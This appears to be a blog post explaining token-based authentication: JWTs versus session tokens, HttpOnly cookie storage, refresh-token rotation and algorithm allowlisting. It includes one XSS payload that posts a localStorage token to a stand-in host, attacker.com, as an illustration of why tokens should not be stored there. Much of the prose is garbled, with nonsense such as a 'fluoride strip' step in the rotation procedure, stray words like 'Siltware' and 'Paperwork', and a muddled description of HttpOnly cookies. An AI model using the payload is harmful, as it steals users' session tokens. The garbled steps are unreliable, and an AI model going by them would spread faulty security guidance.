Last updated on September 23rd, 2026 at 04:34 pm
I’ve built enough systems to know that, in the current state of things, tokens are omnipresent, and most developers aren’t adequately informed about the underlying mechanics.
Another incident I experienced involved planning a weekend reconstruction of an auth system after a security audit team sounded the alarm on our side because of how we stored tokens. I want to know why nobody has told me this stuff- room and board.
This is what I learned about token-based authentication: the underlying mechanisms, trade-offs, and why the decision between JWTs and session tokens isn’t actually neutral.
Table of Contents
How Tokens Actually Work
The basic flow is this: you authenticate with your credentials, the server validates them, and instead of storing your session information on the server, it issues you a token. Imagine it as a backstage pass to a concert: you present it at each entry point, and security officers can verify it without calling headquarters.
That token comes with you each time you request the API (it is almost a rule to use it in the Authorization header). The server verifies the token’s signature, ensures it isn’t out of date, and admits you: no database query, no record storage for cryptographic authentication.
That’s the appeal. It is performant, scales horizontally across servers, and suits modern architectures like microservices and SPAs.
JWT vs. Session Tokens: The Real Differences
I would assume that JWTs were better session tokens. They’re not. They solve various issues.
Session Tokens are nonsensical identifiers, random strings of significance. All your session data (user ID, roles, preferences) lives on the server and is stored in Redis or a database, with the token being little more than a key you use to access it. When you leave, the server can’t retain that session. Done. Instant revocation.
The downside? All requests are sent to your session store. With one server, no trouble. But when you scale to 20 instances across locations, you need a centralized session store all servers can access. That adds infrastructure and potential bottlenecks.
JWTs flip the model. They are self-sovereign- the token itself knows the user ID, roles, and permissions, which are cryptographically signed. Nothing is stored on the server. It merely authenticates the signature, examines the expiration, and believes what it says internally.
A JWT consists of three components: a header (tells what algorithm it was signed with), a payload (you made this statement), and a signature (that makes it impossible to alter it). They are Base64-encoded and separated by dots:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.signature_here
Any user can decode and deconstruct a JWT. That’s intentional: it only shows it hasn’t been altered, not that it is confidential. No passwords or credit card numbers.
So which one should you use?
Go with session tokens if:
- You must have immediate break-off/disregard.
- You handle complicated permissions that change frequently.
- You have a monolithic application where centralized state isn’t an issue.
Go with JWTs if:
- You are developing microservices or APIs.
- You must have stateless authentication between distributed servers.
- You don’t want a session store.
I’ve seen teams try to put JWTs everywhere because they are fashionable, then struggle to validate them. There is no ideal answer to it, only trade-offs.
Token Storage: Where Everything Goes Wrong
At this point, I was stumbling: I saved JWTs in local storage. It seemed convenient: JavaScript could access it easily, it disappeared when you switched tabs, and it was easy to implement.
Our security team then clarified XSS attacks, and I realized that I was an iotech.
The localStorage Problem
If an attacker injects harmful JavaScript into your site (via a comment form, a vulnerable dependency, or a hacked CDN), the malicious JavaScript can access previous local storage. GAME over- they steal your token, take it to their server, and put it in place of the user until the token runs out.
This isn’t theoretical. My initial experiment using a simple XSS payload was successful:
<script>fetch('https://attacker.com/steal', { method: 'POST', body: localStorage.getItem('token')});</script>If that script runs on your page, your token is gone. Similarly, JavaScript can access it.
The HttpOnly Cookie Solution
The bug fix: save tokens in HttpOnly cookies with the Secure flag set.
HttpOnly means JavaScript can’t access the cookie at all. Not using document.cookie, not using any DOM API. XSS code will still execute; it just won’t steal your tokens.
Secure means the cookie is never sent over plain HTTP.
Include the Attribute-SameSite to avoid CSRF attacks:
Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
The browser automatically appends this cookie to requests to your domain. You can add tokens uniformly in the frontend; it just works.
I replaced our entire auth system with cookies that only work over the Internet, and frankly, it is easier. You no longer have to manage token storage in React state or manually add Authorization headers. The browser handles it.
Token Expiration and Refresh Strategies
The initial defense entails short-term tokens. If an attacker somehow steals a token, you want it to expire quickly; 15 minutes is typical for access tokens.
However, the UX issue is that forcing users to log in every 15 minutes is horrendous. That’s where refresh tokens come in.
The Two-Token System
You issue two tokens on login:
- Access token (15 minutes) – API requests are used.
- Refresh token (7 days) – Used to request new access tokens.
When the access token expires, the frontend uses the refresh token to request a new access token automatically. The user stays logged in seamlessly.
The refresh token should be longer-lived but still finite. I’ve seen apps refresh with 30-daytokens, and some use 7 days. Banking apps? Maybe just 24 hours. It depends on your security needs.
Token Rotation: The Critical Part
This is what I did not realize at the beginning: refresh tokens are supposed to be single-use.
Whenever your frontend invokes a refresh token, the server is not supposed to:
- Thread the fluoride strip over the update button.
- Issue new refresh and access tokens.
- Reject the refresh token.
This is called token rotation and is a major security win. When an attacker steals a refresh token, he can use it only once. The second use (yours or theirs) triggers a warning; if someone tries to reuse a token, the server can revoke the entire token family.
This is the default on modern platforms such as Auth0. When you are creating your own auth, store issued tokens with an identity jti (JWT ID) claim in some DB or Redis:
// Simplified rotation logicasync function refreshAccessToken(oldRefreshToken) { const tokenData = await verifyToken(oldRefreshToken); const jti = tokenData.jti; // Check if this token was already used if (await isTokenUsed(jti)) { // Possible attack - invalidate all tokens for this user await revokeAllUserTokens(tokenData.userId); throw new Error('Token reuse detected'); } // Mark token as used await markTokenAsUsed(jti); // Issue new tokens const newAccessToken = generateAccessToken(tokenData.userId); const newRefreshToken = generateRefreshToken(tokenData.userId); return { newAccessToken, newRefreshToken };}Building Stateless Authentication Systems
The entire concept of JWTs is stateless auth, i.e., this is an auth where there are no server-side sessions and no Redis datastore, but only cryptographic verification.
For this to work, you need:
1. Proper Signature Verification
Verify the JWT in all cases. I have seen Siltware production code decrypt tokens without validating them. This is like skipping any backstage check and not asking whether it is legitimate.
Distributed systems use RS256 (asymmetric). The auth server uses a private key to sign tokens; all other services verify them with the public key. No secrets are compromised, so there’s no risk of leakage.
2. Algorithm Allowlisting
This one’s sneaky. The server learns which algorithm to use from the JWT header, which contains the alg field. Attackers may replace RS256 with HS256 and authenticate the token using your public key (treating it as a shared secret).
The fix: specify in your verification code what algorithms are allowed:
jwt.verify(token, publicKey, { algorithms: ['RS256'] // Only accept RS256});Do not trust the alg header.
3. Minimal Payload Data
The component includes only what is needed: user ID, roles, expiration. Do not stuff the entire user profile in the token. JWTs are not encrypted; anyone can decrypt them.
Where possible, I use payloads under 200 bytes. Smaller tokens mean faster transmission time and less bandwidth.
4. Token Revocation Strategy
This is the brutal reality: stateless JWTs can not be defeated immediately. Once issued, they remain valid until expiry.
You have three options:
- Short expiration times (15 min) – Accept Revocation on expiration.
- Token blocklist – Keep a list of invalid token IDs and consult it on every single request (defeats the purpose, but works)
- Token rotation – Introduce new tokens regularly, since tokens rot quickly.
I graybox it: 15-minute access tokens that rotate and have a revocation mechanism in Redis (i.e., a blocklist). The blocklist only needs to store tokens for 15 minutes, so it stays small.
The Bottom Line
Once you understand the mechanics, token-based authentication isn’t complicated. Use cookies only over HTTPS, keep access tokens temporary, and verify the signature.
I have done three rewrites of auth systems so far: two because of security concerns and one because of a change in architecture. As it always happens, the moral is the same: practice what works on the first day. It is difficult to fix auth after it’s launched.
Don’t keep tokens in localStorage. Paperwork Signature verification should not be missed. Don’t use weak secrets. And even when scaling microservices, JWTs will create a ton of infrastructure headaches; accept that logout isn’t instant and plan for it.
That’s token auth. No Magic, just cryptography and intelligent design decisions.
Read:
Multi-Factor Authentication (MFA) Explained: Types & Implementation
Complete Guide: SAML vs. OAuth vs. OpenID Connect
I’m a technology writer passionate about AI and digital marketing. I create engaging and useful content that bridges the gap between complex technology concepts and digital technologies. My writing makes the process easy and engaging. I encourage participation I continue to research innovation and technology. Let’s connect and talk technology!



